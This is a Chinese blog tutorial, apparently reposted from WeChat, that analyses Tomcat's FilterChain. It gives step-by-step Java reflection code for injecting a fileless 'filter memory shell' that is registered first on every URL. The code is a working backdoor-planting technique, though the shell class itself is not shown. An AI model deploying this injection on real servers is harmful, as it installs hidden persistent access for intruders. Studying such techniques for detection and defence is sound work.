前言
昨天突然爆了spring的洞,断了一下,今天继续。代码已经到controller马了,但是文章才更新到Filter。有基础的最好跟着代码进度走,如果基础差点就跟着我文章来吧。我代码里面注释也写的比较多,还是比较通俗易懂的。
小弟水平有限,如有不对欢迎指出,以免误人子弟。
相关代码都放在 https://github.com/safe6Sec/MemoryShell
前置知识
上篇文章忘记说的小知识点
本篇还有个比较重要的知识点就是过滤链。这里我不深入去讲,因为俺也不会。只需要知道所有的filter会组成一个FilterChain,每个Filter执行完之后需要执行FilterChain#doFilter放行,然后会继续进入到下一个filter,依次执行每个filter里面的doFilter()方法。就如同现实中污水过滤一层一层的。而我们实现filter内存马也就是往FilterChain里加一个filter。
FilterChain创建
先来看看FilterChain是怎么创建的。创建一个正常的filter在doFilter()方法上打个断点。
往上跟发现filter的链式调用最开始是由FilterChain#doFilter方法进入的
继续往上,发现了FilterChain的创建
跟进去可以看到,会判断FilterChain有没有创建过。这里简单说一下,每次收到新请求都会来到这里。具体看别的大佬分析吧,我太菜了讲不来。
继续分析createFilterChain代码,发现了如下关键代码。
首先从上下文对象拿到filterMaps,然后进行循环。循环过程中会去判断对应的filterConfig是否存在。存在就调用addFilter方法把filterConfig添加到FilterChain。
也就说我们只需要把filter马加到filterMaps和filterConfigs里面就可以实现filter内存马功能。
三个重要对象
了解了FilterChain之后,我们再来看看上下文对象中filterMaps和filterConfigs。
打上断点找到我们上面分析出的两个关键对象。发现除了上面的两个对象还有个filterDefs也有点意思。
继续展开分析,发现Filterconfig里面放的就是filterDef,而filterDef里面放的又是filter。这直接破案了
总结一下就是:创建一个filter马,用filterDef包装一下,添加到filterConfig里面,然后再创建一个filterMap配置映射关系。
这样filter内存马就大功告成了。下面开始代码实现。
代码实现
第一步,老规矩,拿上下文对象
//先拿到ServletContext
ServletContext servletContext = req.getServletContext();
Field appctx =servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
//从ServletContext里面拿到ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field atx= applicationContext.getClass().getDeclaredField("context");
atx.setAccessible(true);
//从ApplicationContext里面拿到StandardContext
StandardContext standardContext = (StandardContext) atx.get(applicationContext);
第二步,准备filter马,取出上面提到的三个对象。
养成好习惯,暴力反射直接打开。
//准备filter马
FilterShell filterShell = new FilterShell();
//拿到关键的三个对象
Field filterDefsField = standardContext.getClass().getDeclaredField("filterDefs");
filterDefsField.setAccessible(true);
Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
filterMapsField.setAccessible(true);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
第三步,创建def,保证filter马
//用def包装filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterShell);
filterDef.setFilterName(filterShell.getClass().getName());
filterDef.setFilterClass(filterShell.getClass().getName());
//添加到上下文
standardContext.addFilterDef(filterDef);
第四步,创建config
注意ApplicationFilterConfig无法直接new,需要反射创建。
//无法直接new,需要反射
//ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext,filterDef);
//创建filterConfig
Class<?> ac = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
//Class<?> ac1 = this.getClass().getClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig");
//构造方法不是public的
Constructor constructor = ac.getDeclaredConstructor(org.apache.catalina.Context.class,org.apache.tomcat.util.descriptor.web.FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
//添加到filterConfigs
Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>)filterConfigsField.get(standardContext);
filterConfigs.put(filterShell.getClass().getName(),filterConfig);
//改modifiers
Field modifiers = filterConfigsField.getClass().getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(filterConfigsField,filterConfigsField.getModifiers() & ~Modifier.FINAL);
第五步,配置映射关系
//配置映射关系
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterShell.getClass().getName());
filterMap.addURLPattern("/*");
//添加到上下文
//standardContext.addFilterMap(filterMap);
//添加到第一位
standardContext.addFilterMapBefore(filterMap);
最后看看效果
人麻了,看看现在时间
原文始发于微信公众号(safe6安全的成长日记):java内存马分析(三) Servlet内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论